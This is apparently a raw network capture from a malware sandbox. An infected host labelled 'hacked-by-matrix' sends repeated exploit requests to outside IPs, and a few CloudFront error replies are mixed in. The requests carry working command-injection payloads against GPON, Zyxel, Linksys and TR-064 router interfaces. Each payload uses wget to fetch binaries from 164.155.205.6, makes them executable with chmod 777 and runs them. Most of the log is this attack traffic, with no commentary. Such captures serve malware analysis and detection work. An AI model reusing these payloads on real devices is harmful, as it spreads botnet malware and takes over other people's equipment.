Mar 2, 2024 12:37:47.232700109 CET	1275	IN	HTTP/1.1 400 Bad Request Server: CloudFront Date: Sat, 02 Mar 2024 11:37:47 GMT Content-Type: text/html Content-Length: 915 Connection: close X-Cache: Error from cloudfront Via: 1.1 12e4fc9256386a4cd8f000b9caa3e012.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DEN52-C1 X-Amz-Cf-Id: lu8cf5kHGs2hI_V6GDD9No6JgAFJyx9vf0ixldorLMglTHiLIFoo9A== Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 54 49 54 4c 45 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 34 30 30 20 45 52 52 4f 52 3c 2f 48 31 3e 0a 3c 48 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 2e 3c 2f 48 32 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 42 61 64 20 72 65 71 75 65 73 74 2e 0a 57 65 20 63 61 6e 27 74 20 63 6f 6e 6e 65 63 74 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 20 66 6f 72 20 74 68 69 73 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 61 74 20 74 68 69 73 20 74 69 6d 65 2e 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 74 6f 6f 20 6d 75 63 68 20 74 72 61 66 66 69 63 20 6f 72 20 61 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 65 72 72 6f 72 2e 20 54 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2c 20 6f 72 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 6f 77 6e 65 72 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 49 66 20 79 6f 75 20 70 72 6f 76 69 64 65 20 63 6f 6e 74 65 6e 74 20 74 6f 20 63 75 73 74 6f 6d 65 72 73 20 74 68 72 6f 75 67 68 20 43 6c 6f 75 64 46 72 6f 6e 74 2c 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 73 74 65 70 73 20 74 6f 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 20 61 6e 64 20 68 65 6c 70 20 70 72 65 76 65 6e 74 20 74 68 69 73 20 65 72 72 6f 72 20 62 79 20 72 65 76 69 65 77 69 6e 67 20 74 68 65 20 43 6c 6f 75 64 46 72 6f 6e 74 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 3c 50 52 45 3e 0a 47 65 6e 65 72 61 74 65 64 20 62 79 20 63 6c 6f 75 64 66 72 6f 6e 74 20 28 43 6c 6f 75 64 46 72 6f 6e 74 29 0a 52 65 71 75 65 73 74 20 49 44 3a 20 6c 75 38 63 66 35 6b 48 47 73 32 68 49 5f 56 36 47 44 44 39 4e 6f 36 4a 67 41 46 4a 79 78 39 76 66 30 69 78 6c 64 6f 72 4c 4d 67 6c 54 48 69 4c 49 46 6f 6f 39 41 3d 3d 0a 3c 2f 50 52 45 3e 0a 3c 41 44 44 52 45 53 53 3e 0a 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE></HEAD><BODY><H1>400 ERROR</H1><H2>The request could not be satisfied.</H2><HR noshade size="1px">Bad request.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.<BR clear="all">If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.<BR clear="all"><HR noshade size="1px"><PRE>Generated by cloudfront (CloudFront)Request ID: lu8cf5kHGs2hI_V6GDD9No6JgAFJyx9vf0ixldorLMglTHiLIFoo9A==</PRE><ADDRESS></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
976	192.168.2.23	44394	18.160.112.149	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:47.129585028 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:37:47.315927029 CET	1275	IN	HTTP/1.1 400 Bad Request Server: CloudFront Date: Sat, 02 Mar 2024 11:37:47 GMT Content-Type: text/html Content-Length: 915 Connection: close X-Cache: Error from cloudfront Via: 1.1 4d75cd1f88d6f80810bf5f73f32f9044.cloudfront.net (CloudFront) X-Amz-Cf-Pop: QRO51-P1 X-Amz-Cf-Id: JvevmRpFtSov4Khf2M-trc6J_TQOluFESsMGHXJxXqFvCkKE1fIsLw== Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 54 49 54 4c 45 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 34 30 30 20 45 52 52 4f 52 3c 2f 48 31 3e 0a 3c 48 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 2e 3c 2f 48 32 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 42 61 64 20 72 65 71 75 65 73 74 2e 0a 57 65 20 63 61 6e 27 74 20 63 6f 6e 6e 65 63 74 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 20 66 6f 72 20 74 68 69 73 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 61 74 20 74 68 69 73 20 74 69 6d 65 2e 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 74 6f 6f 20 6d 75 63 68 20 74 72 61 66 66 69 63 20 6f 72 20 61 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 65 72 72 6f 72 2e 20 54 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2c 20 6f 72 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 6f 77 6e 65 72 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 49 66 20 79 6f 75 20 70 72 6f 76 69 64 65 20 63 6f 6e 74 65 6e 74 20 74 6f 20 63 75 73 74 6f 6d 65 72 73 20 74 68 72 6f 75 67 68 20 43 6c 6f 75 64 46 72 6f 6e 74 2c 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 73 74 65 70 73 20 74 6f 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 20 61 6e 64 20 68 65 6c 70 20 70 72 65 76 65 6e 74 20 74 68 69 73 20 65 72 72 6f 72 20 62 79 20 72 65 76 69 65 77 69 6e 67 20 74 68 65 20 43 6c 6f 75 64 46 72 6f 6e 74 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 3c 50 52 45 3e 0a 47 65 6e 65 72 61 74 65 64 20 62 79 20 63 6c 6f 75 64 66 72 6f 6e 74 20 28 43 6c 6f 75 64 46 72 6f 6e 74 29 0a 52 65 71 75 65 73 74 20 49 44 3a 20 4a 76 65 76 6d 52 70 46 74 53 6f 76 34 4b 68 66 32 4d 2d 74 72 63 36 4a 5f 54 51 4f 6c 75 46 45 53 73 4d 47 48 58 4a 78 58 71 46 76 43 6b 4b 45 31 66 49 73 4c 77 3d 3d 0a 3c 2f 50 52 45 3e 0a 3c 41 44 44 52 45 53 53 3e 0a 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE></HEAD><BODY><H1>400 ERROR</H1><H2>The request could not be satisfied.</H2><HR noshade size="1px">Bad request.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.<BR clear="all">If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.<BR clear="all"><HR noshade size="1px"><PRE>Generated by cloudfront (CloudFront)Request ID: JvevmRpFtSov4Khf2M-trc6J_TQOluFESsMGHXJxXqFvCkKE1fIsLw==</PRE><ADDRESS></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
977	192.168.2.23	40758	206.238.236.181	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:47.212388992 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:37:47.713901043 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
978	192.168.2.23	50438	89.238.188.151	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:47.315707922 CET	32	IN	Data Raw: 28 52 65 66 2e 49 64 3a 20 3f 73 4b 66 75 75 73 43 34 4d 34 61 32 57 38 50 61 43 34 7a 46 3f 29 Data Ascii: (Ref.Id: ?sKfuusC4M4a2W8PaC4zF?)

Session ID	Source IP	Source Port	Destination IP	Destination Port
979	192.168.2.23	54530	118.149.202.1	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:48.045403004 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
980	192.168.2.23	53640	178.148.29.238	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:48.045408964 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
981	192.168.2.23	58816	109.78.54.74	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:48.045408964 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
982	192.168.2.23	60378	118.18.210.182	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:48.045438051 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
983	192.168.2.23	54988	172.65.76.71	55555

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:48.095403910 CET	437	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
984	192.168.2.23	45202	125.143.101.144	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:49.339111090 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
985	192.168.2.23	33578	172.64.49.30	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:49.429186106 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:37:49.702550888 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
986	192.168.2.23	40738	172.65.53.180	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:49.430176020 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
987	192.168.2.23	43772	213.44.182.73	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:49.433269978 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:37:50.397511005 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:37:51.521353960 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
